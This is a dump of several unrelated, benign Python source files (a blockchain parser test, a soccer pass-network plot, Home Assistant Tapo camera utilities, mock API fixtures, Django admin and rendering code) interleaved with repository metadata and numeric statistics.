if __name__ == '__main__':
key_file = sys.argv[1]
input_string = sys.argv[2]
out_file = sys.argv[3]
sign_data(key_file, input_string, out_file)
| 28.285714
| 53
| 0.66835
| 89
| 594
| 4.235955
| 0.494382
| 0.079576
| 0.058355
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.03617
| 0.208754
| 594
| 20
| 54
| 29.7
| 0.765957
| 0
| 0
| 0
| 0
| 0
| 0.035354
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.0625
| false
| 0
| 0.3125
| 0
| 0.375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
4c66a4345821de6dcbba5bb0bbb633c3ee79daa3
| 2,219
|
py
|
Python
|
tools/Bitcoin Parser/blockchain_parser/tests/test_block.py
|
simewu/bitcoin_researcher
|
b9fd2efdb8ae8467c5bd4b3320713a541635df16
|
[
"MIT"
] | 1
|
2020-02-15T21:44:04.000Z
|
2020-02-15T21:44:04.000Z
|
tools/Bitcoin Parser/blockchain_parser/tests/test_block.py
|
SimeoW/bitcoin
|
3644405f06c8b16a437513e8c02f0f061b91be2e
|
[
"MIT"
] | null | null | null |
tools/Bitcoin Parser/blockchain_parser/tests/test_block.py
|
SimeoW/bitcoin
|
3644405f06c8b16a437513e8c02f0f061b91be2e
|
[
"MIT"
] | null | null | null |
# Copyright (C) 2015-2016 The bitcoin-blockchain-parser developers
#
# This file is part of bitcoin-blockchain-parser.
#
# It is subject to the license terms in the LICENSE file found in the top-level
# directory of this distribution.
#
# No part of bitcoin-blockchain-parser, including this file, may be copied,
# modified, propagated, or distributed except according to the terms contained
# in the LICENSE file.
import unittest
from datetime import datetime
from .utils import read_test_data
from blockchain_parser.block import Block
class TestBlock(unittest.TestCase):
def test_from_hex(self):
block_hex = read_test_data("genesis_block.txt")
block = Block.from_hex(block_hex)
self.assertEqual(1, block.n_transactions)
block_hash = "000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1" \
"b60a8ce26f"
self.assertEqual(block_hash, block.hash)
self.assertEqual(486604799, block.header.bits)
merkle_root = "4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127" \
"b7afdeda33b"
self.assertEqual(merkle_root, block.header.merkle_root)
self.assertEqual(2083236893, block.header.nonce)
self.assertEqual(1, block.header.version)
self.assertEqual(1, block.header.difficulty)
self.assertEqual(285, block.size)
self.assertEqual(datetime.utcfromtimestamp(1231006505),
block.header.timestamp)
self.assertEqual("0" * 64, block.header.previous_block_hash)
for tx in block.transactions:
self.assertEqual(1, tx.version)
tx_hash = "4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127" \
"b7afdeda33b"
self.assertEqual(tx_hash, tx.hash)
self.assertEqual(204, tx.size)
self.assertEqual(0, tx.locktime)
self.assertEqual(0xffffffff, tx.inputs[0].transaction_index)
self.assertEqual(0xffffffff, tx.inputs[0].sequence_number)
self.assertTrue("ffff001d" in tx.inputs[0].script.value)
self.assertEqual("0" * 64, tx.inputs[0].transaction_hash)
self.assertEqual(50 * 100000000, tx.outputs[0].value)
| 43.509804
| 79
| 0.68995
| 250
| 2,219
| 6.028
| 0.388
| 0.179164
| 0.042468
| 0.041805
| 0.119443
| 0.045123
| 0
| 0
| 0
| 0
| 0
| 0.111175
| 0.221722
| 2,219
| 50
| 80
| 44.38
| 0.761436
| 0.177557
| 0
| 0.057143
| 0
| 0
| 0.120728
| 0.088203
| 0
| 0
| 0.011025
| 0
| 0.542857
| 1
| 0.028571
| false
| 0
| 0.114286
| 0
| 0.171429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c6c5b767e3d2e7d380bed49701614a213de873b
| 8,063
|
py
|
Python
|
examples/plots/plot_pass_network.py
|
DymondFormation/mplsoccer
|
544300857ec5936781e12fda203cf2df8a3d00b9
|
[
"MIT"
] | null | null | null |
examples/plots/plot_pass_network.py
|
DymondFormation/mplsoccer
|
544300857ec5936781e12fda203cf2df8a3d00b9
|
[
"MIT"
] | null | null | null |
examples/plots/plot_pass_network.py
|
DymondFormation/mplsoccer
|
544300857ec5936781e12fda203cf2df8a3d00b9
|
[
"MIT"
] | null | null | null |
"""
============
Pass Network
============
This example shows how to plot passes between players in a set formation.
"""
import pandas as pd
from mplsoccer.pitch import Pitch
from matplotlib.colors import to_rgba
import numpy as np
from mplsoccer.statsbomb import read_event, EVENT_SLUG
##############################################################################
# Set team and match info, and get event and tactics dataframes for the defined match_id
match_id = 15946
team = 'Barcelona'
opponent = 'Alavés (A), 2018/19 La Liga'
event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False)
players = event_dict['tactics_lineup']
events = event_dict['event']
##############################################################################
# Adding on the last tactics id and formation for the team for each event
events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[
events.tactics_formation.notnull(), 'id']
events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[
'tactics_id', 'tactics_formation']].ffill()
##############################################################################
# Add the abbreviated player position to the players dataframe
formation_dict = {1: 'GK', 2: 'RB', 3: 'RCB', 4: 'CB', 5: 'LCB', 6: 'LB', 7: 'RWB',
8: 'LWB', 9: 'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM',
14: 'CM', 15: 'LCM', 16: 'LM', 17: 'RW', 18: 'RAM', 19: 'CAM',
20: 'LAM', 21: 'LW', 22: 'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'}
players['position_abbreviation'] = players.player_position_id.map(formation_dict)
##############################################################################
# Add on the subsitutions to the players dataframe, i.e. where players are subbed on
# but the formation doesn't change
sub = events.loc[events.type_name == 'Substitution',
['tactics_id', 'player_id', 'substitution_replacement_id',
'substitution_replacement_name']]
players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'),
on=['id', 'player_id'], how='inner', validate='1:1')
players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']]
.rename({'substitution_replacement_id': 'player_id'}, axis='columns'))
players = pd.concat([players, players_sub])
players.rename({'id': 'tactics_id'}, axis='columns', inplace=True)
players = players[['tactics_id', 'player_id', 'position_abbreviation']]
##############################################################################
# Add player position information to the events dataframe
# add on the position the player was playing in the formation to the events dataframe
events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1')
# add on the position the receipient was playing in the formation to the events dataframe
events = events.merge(players.rename({'player_id': 'pass_recipient_id'},
axis='columns'), on=['tactics_id', 'pass_recipient_id'],
how='left', validate='m:1', suffixes=['', '_receipt'])
##############################################################################
# Create dataframes for passes and player locations
# get a dataframe with all passes
mask_pass = (events.team_name == team) & (events.type_name == 'Pass')
to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id',
'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation',
'position_abbreviation', 'position_abbreviation_receipt']
passes = events.loc[mask_pass, to_keep].copy()
print('Formations used by {} in match: '.format(team), passes['tactics_formation'].unique())
##############################################################################
# Filter passes by chosen formation, then group all passes and receipts to
# calculate avg x, avg y, count of events for each slot in the formation
formation = 433
passes_formation = passes[(passes.tactics_formation == formation) &
(passes.position_abbreviation_receipt.notnull())].copy()
passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy()
recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy()
# rename columns to match those in passer_passes
recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation',
'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True)
# create a new dataframe containing all individual passes and receipts from passes_formation
appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True)
average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({
'x': ['mean'], 'y': ['mean', 'count']})
average_locs_and_count.columns = ['x', 'y', 'count']
##############################################################################
# Group the passes by unique pairings of players and add the avg player positions to this dataframe
# calculate the number of passes between each position (using min/ max so we get passes both ways)
passes_formation['pos_max'] = passes_formation[['position_abbreviation',
'position_abbreviation_receipt']].max(axis='columns')
passes_formation['pos_min'] = passes_formation[['position_abbreviation',
'position_abbreviation_receipt']].min(axis='columns')
passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index()
passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True)
# add on the location of each player so we have the start and end positions of the lines
passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True)
passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True,
suffixes=['', '_end'])
##############################################################################
# Calculate the line width and marker sizes relative to the largest counts
max_line_width = 18
max_marker_size = 3000
passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width
average_locs_and_count['marker_size'] = (average_locs_and_count['count']
/ average_locs_and_count['count'].max() * max_marker_size)
##############################################################################
# Set color to make the lines more transparent when fewer passes are made
min_transparency = 0.3
color = np.array(to_rgba('white'))
color = np.tile(color, (len(passes_between), 1))
c_transparency = passes_between.pass_count / passes_between.pass_count.max()
c_transparency = (c_transparency * (1 - min_transparency)) + min_transparency
color[:, 3] = c_transparency
##############################################################################
# Plotting
pitch = Pitch(pitch_type='statsbomb', orientation='horizontal',
pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11),
constrained_layout=True, tight_layout=False)
fig, ax = pitch.draw()
pass_lines = pitch.lines(passes_between.x, passes_between.y,
passes_between.x_end, passes_between.y_end, lw=passes_between.width,
color=color, zorder=1, ax=ax)
pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size,
color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax)
for index, row in average_locs_and_count.iterrows():
pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax)
title = ax.set_title("{} {} Formation vs {}".format(team, formation, opponent), size=28, y=0.97, color='#c7d5cc')
fig.set_facecolor("#22312b")
| 55.226027
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0
| 1
|
4c79ab828e049f734329ac9fd7817c526a06676d
| 6,777
|
py
|
Python
|
custom_components/tapo_control/utils.py
|
david-kalbermatten/HomeAssistant-Tapo-Control
|
3f9f8316cf7e176bb6f8d798d709f3c6d346a527
|
[
"Apache-2.0"
] | null | null | null |
custom_components/tapo_control/utils.py
|
david-kalbermatten/HomeAssistant-Tapo-Control
|
3f9f8316cf7e176bb6f8d798d709f3c6d346a527
|
[
"Apache-2.0"
] | null | null | null |
custom_components/tapo_control/utils.py
|
david-kalbermatten/HomeAssistant-Tapo-Control
|
3f9f8316cf7e176bb6f8d798d709f3c6d346a527
|
[
"Apache-2.0"
] | null | null | null |
import onvif
import os
import asyncio
import urllib.parse
from onvif import ONVIFCamera
from pytapo import Tapo
from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD
from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD
from homeassistant.components.onvif.event import EventManager
from homeassistant.components.ffmpeg import DATA_FFMPEG
from haffmpeg.tools import IMAGE_JPEG, ImageFrame
def registerController(host, username, password):
return Tapo(host, username, password)
async def isRtspStreamWorking(hass, host, username, password):
_ffmpeg = hass.data[DATA_FFMPEG]
ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop)
username = urllib.parse.quote_plus(username)
password = urllib.parse.quote_plus(password)
streaming_url = f"rtsp://{username}:{password}@{host}:554/stream1"
image = await asyncio.shield(
ffmpeg.get_image(
streaming_url,
output_format=IMAGE_JPEG,
)
)
return not image == b""
async def initOnvifEvents(hass, host, username, password):
device = ONVIFCamera(
host,
2020,
username,
password,
f"{os.path.dirname(onvif.__file__)}/wsdl/",
no_cache=True,
)
try:
await device.update_xaddrs()
device_mgmt = device.create_devicemgmt_service()
device_info = await device_mgmt.GetDeviceInformation()
if "Manufacturer" not in device_info:
raise Exception("Onvif connection has failed.")
return device
except Exception:
pass
return False
async def getCamData(hass, controller):
camData = {}
presets = await hass.async_add_executor_job(controller.isSupportingPresets)
camData["user"] = controller.user
camData["basic_info"] = await hass.async_add_executor_job(controller.getBasicInfo)
camData["basic_info"] = camData["basic_info"]["device_info"]["basic_info"]
try:
motionDetectionData = await hass.async_add_executor_job(
controller.getMotionDetection
)
motion_detection_enabled = motionDetectionData["enabled"]
if motionDetectionData["digital_sensitivity"] == "20":
motion_detection_sensitivity = "low"
elif motionDetectionData["digital_sensitivity"] == "50":
motion_detection_sensitivity = "normal"
elif motionDetectionData["digital_sensitivity"] == "80":
motion_detection_sensitivity = "high"
else:
motion_detection_sensitivity = None
except Exception:
motion_detection_enabled = None
motion_detection_sensitivity = None
camData["motion_detection_enabled"] = motion_detection_enabled
camData["motion_detection_sensitivity"] = motion_detection_sensitivity
try:
privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode)
privacy_mode = privacy_mode["enabled"]
except Exception:
privacy_mode = None
camData["privacy_mode"] = privacy_mode
try:
alarmData = await hass.async_add_executor_job(controller.getAlarm)
alarm = alarmData["enabled"]
alarm_mode = alarmData["alarm_mode"]
except Exception:
alarm = None
alarm_mode = None
camData["alarm"] = alarm
camData["alarm_mode"] = alarm_mode
try:
commonImageData = await hass.async_add_executor_job(controller.getCommonImage)
day_night_mode = commonImageData["image"]["common"]["inf_type"]
except Exception:
day_night_mode = None
camData["day_night_mode"] = day_night_mode
try:
led = await hass.async_add_executor_job(controller.getLED)
led = led["enabled"]
except Exception:
led = None
camData["led"] = led
try:
auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget)
auto_track = auto_track["enabled"]
except Exception:
auto_track = None
camData["auto_track"] = auto_track
if presets:
camData["presets"] = presets
else:
camData["presets"] = {}
return camData
async def update_listener(hass, entry):
"""Handle options update."""
host = entry.data.get(CONF_IP_ADDRESS)
username = entry.data.get(CONF_USERNAME)
password = entry.data.get(CONF_PASSWORD)
motionSensor = entry.data.get(ENABLE_MOTION_SENSOR)
cloud_password = entry.data.get(CLOUD_PASSWORD)
try:
if cloud_password != "":
tapoController = await hass.async_add_executor_job(
registerController, host, "admin", cloud_password
)
else:
tapoController = await hass.async_add_executor_job(
registerController, host, username, password
)
hass.data[DOMAIN][entry.entry_id]["controller"] = tapoController
except Exception:
LOGGER.error(
"Authentication to Tapo camera failed."
+ " Please restart the camera and try again."
)
for entity in hass.data[DOMAIN][entry.entry_id]["entities"]:
entity._host = host
entity._username = username
entity._password = password
if hass.data[DOMAIN][entry.entry_id]["events"]:
await hass.data[DOMAIN][entry.entry_id]["events"].async_stop()
if hass.data[DOMAIN][entry.entry_id]["motionSensorCreated"]:
await hass.config_entries.async_forward_entry_unload(entry, "binary_sensor")
hass.data[DOMAIN][entry.entry_id]["motionSensorCreated"] = False
if motionSensor:
await setupOnvif(hass, entry, host, username, password)
async def setupOnvif(hass, entry, host, username, password):
hass.data[DOMAIN][entry.entry_id]["eventsDevice"] = await initOnvifEvents(
hass, host, username, password
)
if hass.data[DOMAIN][entry.entry_id]["eventsDevice"]:
hass.data[DOMAIN][entry.entry_id]["events"] = EventManager(
hass,
hass.data[DOMAIN][entry.entry_id]["eventsDevice"],
f"{entry.entry_id}_tapo_events",
)
hass.data[DOMAIN][entry.entry_id]["eventsSetup"] = await setupEvents(
hass, entry
)
async def setupEvents(hass, entry):
if not hass.data[DOMAIN][entry.entry_id]["events"].started:
events = hass.data[DOMAIN][entry.entry_id]["events"]
if await events.async_start():
if not hass.data[DOMAIN][entry.entry_id]["motionSensorCreated"]:
hass.data[DOMAIN][entry.entry_id]["motionSensorCreated"] = True
hass.async_create_task(
hass.config_entries.async_forward_entry_setup(
entry, "binary_sensor"
)
)
return True
else:
return False
| 34.93299
| 86
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| 0
|
0
| 1
|
d5b2ddd3598b303bcb8230980f8ef5b2b4388ef0
| 5,712
|
py
|
Python
|
src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py
|
fslds/carbon-black-cloud-sdk-python
|
248a3c63d6b36d6fcdbcb3f51fb7751f062ed372
|
[
"MIT"
] | 24
|
2020-10-16T22:07:38.000Z
|
2022-03-24T14:58:03.000Z
|
src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py
|
fslds/carbon-black-cloud-sdk-python
|
248a3c63d6b36d6fcdbcb3f51fb7751f062ed372
|
[
"MIT"
] | 63
|
2020-10-26T18:26:15.000Z
|
2022-03-31T17:31:02.000Z
|
src/tests/unit/fixtures/endpoint_standard/mock_recommendation.py
|
fslds/carbon-black-cloud-sdk-python
|
248a3c63d6b36d6fcdbcb3f51fb7751f062ed372
|
[
"MIT"
] | 10
|
2020-11-09T11:54:23.000Z
|
2022-03-24T20:44:00.000Z
|
"""Mock responses for recommendations."""
SEARCH_REQ = {
"criteria": {
"policy_type": ['reputation_override'],
"status": ['NEW', 'REJECTED', 'ACCEPTED'],
"hashes": ['111', '222']
},
"rows": 50,
"sort": [
{
"field": "impact_score",
"order": "DESC"
}
]
}
SEARCH_RESP = {
"results": [
{
"recommendation_id": "91e9158f-23cc-47fd-af7f-8f56e2206523",
"rule_type": "reputation_override",
"policy_id": 0,
"new_rule": {
"override_type": "SHA256",
"override_list": "WHITE_LIST",
"sha256_hash": "32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede",
"filename": "XprotectService",
"application": {
"type": "EXE",
"value": "FOO"
}
},
"workflow": {
"status": "NEW",
"changed_by": "[email protected]",
"create_time": "2021-05-18T16:37:07.000Z",
"update_time": "2021-08-31T20:53:39.000Z",
"comment": "Ours is the fury"
},
"impact": {
"org_adoption": "LOW",
"impacted_devices": 45,
"event_count": 76,
"impact_score": 0,
"update_time": "2021-05-18T16:37:07.000Z"
}
},
{
"recommendation_id": "bd50c2b2-5403-4e9e-8863-9991f70df026",
"rule_type": "reputation_override",
"policy_id": 0,
"new_rule": {
"override_type": "SHA256",
"override_list": "WHITE_LIST",
"sha256_hash": "0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0",
"filename": "sophos ui.msi"
},
"workflow": {
"status": "NEW",
"changed_by": "[email protected]",
"create_time": "2021-05-18T16:37:07.000Z",
"update_time": "2021-08-31T20:53:09.000Z",
"comment": "Always pay your debts"
},
"impact": {
"org_adoption": "HIGH",
"impacted_devices": 8,
"event_count": 25,
"impact_score": 0,
"update_time": "2021-05-18T16:37:07.000Z"
}
},
{
"recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68",
"rule_type": "reputation_override",
"policy_id": 0,
"new_rule": {
"override_type": "SHA256",
"override_list": "WHITE_LIST",
"sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124",
"filename": "mimecast for outlook 7.8.0.125 (x86).msi"
},
"workflow": {
"status": "NEW",
"changed_by": "[email protected]",
"create_time": "2021-05-18T16:37:07.000Z",
"update_time": "2021-08-31T15:13:40.000Z",
"comment": "Winter is coming"
},
"impact": {
"org_adoption": "MEDIUM",
"impacted_devices": 45,
"event_count": 79,
"impact_score": 0,
"update_time": "2021-05-18T16:37:07.000Z"
}
}
],
"num_found": 3
}
ACTION_INIT = {
"recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68",
"rule_type": "reputation_override",
"policy_id": 0,
"new_rule": {
"override_type": "SHA256",
"override_list": "WHITE_LIST",
"sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124",
"filename": "mimecast for outlook 7.8.0.125 (x86).msi"
},
"workflow": {
"status": "NEW",
"changed_by": "[email protected]",
"create_time": "2021-05-18T16:37:07.000Z",
"update_time": "2021-08-31T15:13:40.000Z",
"comment": "Winter is coming"
},
"impact": {
"org_adoption": "MEDIUM",
"impacted_devices": 45,
"event_count": 79,
"impact_score": 0,
"update_time": "2021-05-18T16:37:07.000Z"
}
}
ACTION_REQS = [
{
"action": "ACCEPT",
"comment": "Alpha"
},
{
"action": "RESET"
},
{
"action": "REJECT",
"comment": "Charlie"
},
]
ACTION_REFRESH_SEARCH = {
"criteria": {
"status": ['NEW', 'REJECTED', 'ACCEPTED'],
"policy_type": ['reputation_override']
},
"rows": 50
}
ACTION_SEARCH_RESP = {
"results": [ACTION_INIT],
"num_found": 1
}
ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED']
ACTION_INIT_ACCEPTED = {
"recommendation_id": "0d9da444-cfa7-4488-9fad-e2abab099b68",
"rule_type": "reputation_override",
"policy_id": 0,
"new_rule": {
"override_type": "SHA256",
"override_list": "WHITE_LIST",
"sha256_hash": "2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124",
"filename": "mimecast for outlook 7.8.0.125 (x86).msi"
},
"workflow": {
"status": "ACCEPTED",
"ref_id": "e9410b754ea011ebbfd0db2585a41b07",
"changed_by": "[email protected]",
"create_time": "2021-05-18T16:37:07.000Z",
"update_time": "2021-08-31T15:13:40.000Z",
"comment": "Winter is coming"
},
"impact": {
"org_adoption": "MEDIUM",
"impacted_devices": 45,
"event_count": 79,
"impact_score": 0,
"update_time": "2021-05-18T16:37:07.000Z"
}
}
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| 98
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| 5,712
| 183
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5b96915a161658ab58f977d3518461eda8624b2
| 1,407
|
py
|
Python
|
main/admin.py
|
sinahmr/childf
|
4e01f46867425b36b6431713b79debf585d69d37
|
[
"MIT"
] | null | null | null |
main/admin.py
|
sinahmr/childf
|
4e01f46867425b36b6431713b79debf585d69d37
|
[
"MIT"
] | null | null | null |
main/admin.py
|
sinahmr/childf
|
4e01f46867425b36b6431713b79debf585d69d37
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin
from django.contrib.auth.models import Group
from django.utils.translation import ugettext_lazy as _
from main.models import UserInfo, User, Child, Volunteer, Donor, Letter, Need, PurchaseForInstitute, PurchaseForNeed, \
Activity, OngoingUserInfo
@admin.register(User)
class UserAdmin(DjangoUserAdmin):
class UserInfoInline(admin.TabularInline):
model = UserInfo
extra = 1
max_num = 1
fieldsets = (
(None, {'fields': ('email', 'password')}),
(_('Permissions'), {'fields': ('is_active', 'is_staff', 'is_superuser')}),
(_('Important dates'), {'fields': ('last_login', 'date_joined')}),
)
add_fieldsets = (
(None, {
'classes': ('wide',),
'fields': ('email', 'password1', 'password2'),
}),
)
list_display = ('email', 'userinfo', 'is_staff')
search_fields = ('email', 'userinfo__first_name', 'userinfo__last_name')
ordering = ('email',)
inlines = [UserInfoInline]
admin.site.unregister(Group)
admin.site.register(Child)
admin.site.register(Volunteer)
admin.site.register(Donor)
admin.site.register(Letter)
admin.site.register(Need)
admin.site.register(PurchaseForInstitute)
admin.site.register(PurchaseForNeed)
admin.site.register(Activity)
admin.site.register(OngoingUserInfo)
| 31.977273
| 119
| 0.687278
| 149
| 1,407
| 6.355705
| 0.442953
| 0.095037
| 0.161563
| 0.044351
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003428
| 0.170576
| 1,407
| 43
| 120
| 32.72093
| 0.808055
| 0
| 0
| 0
| 0
| 0
| 0.154229
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.054054
| 0.162162
| 0
| 0.378378
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
d5b9d02c239d39cdf1dcff5670b5cc5e359e73a5
| 2,515
|
py
|
Python
|
hunting/display/render.py
|
MoyTW/RL_Arena_Experiment
|
fb79c67576cd4de3e4a58278b4515098f38fb584
|
[
"MIT"
] | null | null | null |
hunting/display/render.py
|
MoyTW/RL_Arena_Experiment
|
fb79c67576cd4de3e4a58278b4515098f38fb584
|
[
"MIT"
] | null | null | null |
hunting/display/render.py
|
MoyTW/RL_Arena_Experiment
|
fb79c67576cd4de3e4a58278b4515098f38fb584
|
[
"MIT"
] | null | null | null |
import tdl
import time
import hunting.constants as c
class Renderer:
def __init__(self, main_console=None, level_display_width=c.SCREEN_WIDTH, level_display_height=c.SCREEN_HEIGHT):
if main_console is None:
self.main_console = tdl.init(level_display_width, level_display_height, 'From Renderer Default Constructor')
else:
self.main_console = main_console
self.level_display_width = level_display_width
self.level_display_height = level_display_height
self._level_console = tdl.Console(level_display_width, level_display_height)
def _render_level(self, con, level):
for x in range(level.width):
for y in range(level.height):
if level[x][y].blocks is not False:
self._level_console.draw_rect(x, y, 1, 1, None, bg=[120, 0, 50])
else:
self._level_console.draw_rect(x, y, 1, 1, None, bg=[30, 255, 30])
# TODO: This is pretty hacky!
i = 1
for o in level._all_objects:
if o.faction == '1': # TODO: Better faction implementation!
color = [255, 0, 0]
else:
color = [0, 0, 255]
self._level_console.draw_char(o.x, o.y, i, color)
i += 1
con.blit(self._level_console)
def render_all(self, level):
self._render_level(self.main_console, level)
tdl.flush()
def clear(self, level):
for o in level._all_objects:
self._level_console.draw_char(o.x, o.y, ' ')
def render_event(self, level, event):
if event[c.EVENT_TYPE] == c.MOVEMENT_EVENT:
# Clear previous location
self._level_console.draw_char(event[c.MOVEMENT_PREV_X], event[c.MOVEMENT_PREV_Y], ' ', bg=[0, 15, 7])
# Retrieve faction and color
o = level.get_object_by_id(event[c.OBJ_ID])
if o.faction == '1': # TODO: Better faction implementation!
color = [255, 0, 0]
else:
color = [0, 0, 255]
self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], o.faction, fg=color)
elif event[c.EVENT_TYPE] == c.OBJECT_DESTRUCTION_EVENT:
self._level_console.draw_char(event[c.OBJ_X], event[c.OBJ_Y], ' ', bg=[0, 15, 7])
# Render
self.main_console.blit(self._level_console)
tdl.flush()
def visualize(level, show_time=1):
Renderer().render_all(level)
time.sleep(show_time)
| 36.985294
| 120
| 0.603579
| 350
| 2,515
| 4.08
| 0.234286
| 0.094538
| 0.112045
| 0.098039
| 0.392157
| 0.340336
| 0.261905
| 0.240896
| 0.240896
| 0.218487
| 0
| 0.02784
| 0.285885
| 2,515
| 68
| 121
| 36.985294
| 0.767261
| 0.063221
| 0
| 0.28
| 0
| 0
| 0.01617
| 0
| 0
| 0
| 0
| 0.014706
| 0
| 1
| 0.12
| false
| 0
| 0.06
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5bbaeac59cde7e794de669fe4ec0942d528fc8d
| 699
|
py
|
Python
|
Examples/PagesOperations/MovePage.py
|
groupdocs-merger-cloud/groupdocs-merger-cloud-python-samples
|
af736c94240eeefef28bd81012c96ab2ea779088
|
[
"MIT"
] | null | null | null |
Examples/PagesOperations/MovePage.py
|
groupdocs-merger-cloud/groupdocs-merger-cloud-python-samples
|
af736c94240eeefef28bd81012c96ab2ea779088
|
[
"MIT"
] | null | null | null |
Examples/PagesOperations/MovePage.py
|
groupdocs-merger-cloud/groupdocs-merger-cloud-python-samples
|
af736c94240eeefef28bd81012c96ab2ea779088
|
[
"MIT"
] | null | null | null |
# Import modules
import groupdocs_merger_cloud
from Common import Common
# This example demonstrates how to move document page to a new position
class MovePage:
@classmethod
def Run(cls):
pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig())
options = groupdocs_merger_cloud.MoveOptions()
options.file_info = groupdocs_merger_cloud.FileInfo("WordProcessing/four-pages.docx")
options.output_path = "Output/move-pages.docx"
options.page_number = 1
options.new_page_number = 2
result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options))
print("Output file path = " + result.path)
| 36.789474
| 93
| 0.711016
| 83
| 699
| 5.795181
| 0.53012
| 0.155925
| 0.2079
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00363
| 0.211731
| 699
| 19
| 94
| 36.789474
| 0.869328
| 0.120172
| 0
| 0
| 0
| 0
| 0.115824
| 0.084829
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076923
| false
| 0
| 0.153846
| 0
| 0.307692
| 0.076923
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
d5bbb325b8069e32756e2756a7150bcc81d9e24f
| 221
|
py
|
Python
|
src/models/predict_model.py
|
joseluistello/Regression-Analysis-Apple-Data
|
85952edd22ba8c382f43357efc510763185fd6d1
|
[
"MIT"
] | null | null | null |
src/models/predict_model.py
|
joseluistello/Regression-Analysis-Apple-Data
|
85952edd22ba8c382f43357efc510763185fd6d1
|
[
"MIT"
] | null | null | null |
src/models/predict_model.py
|
joseluistello/Regression-Analysis-Apple-Data
|
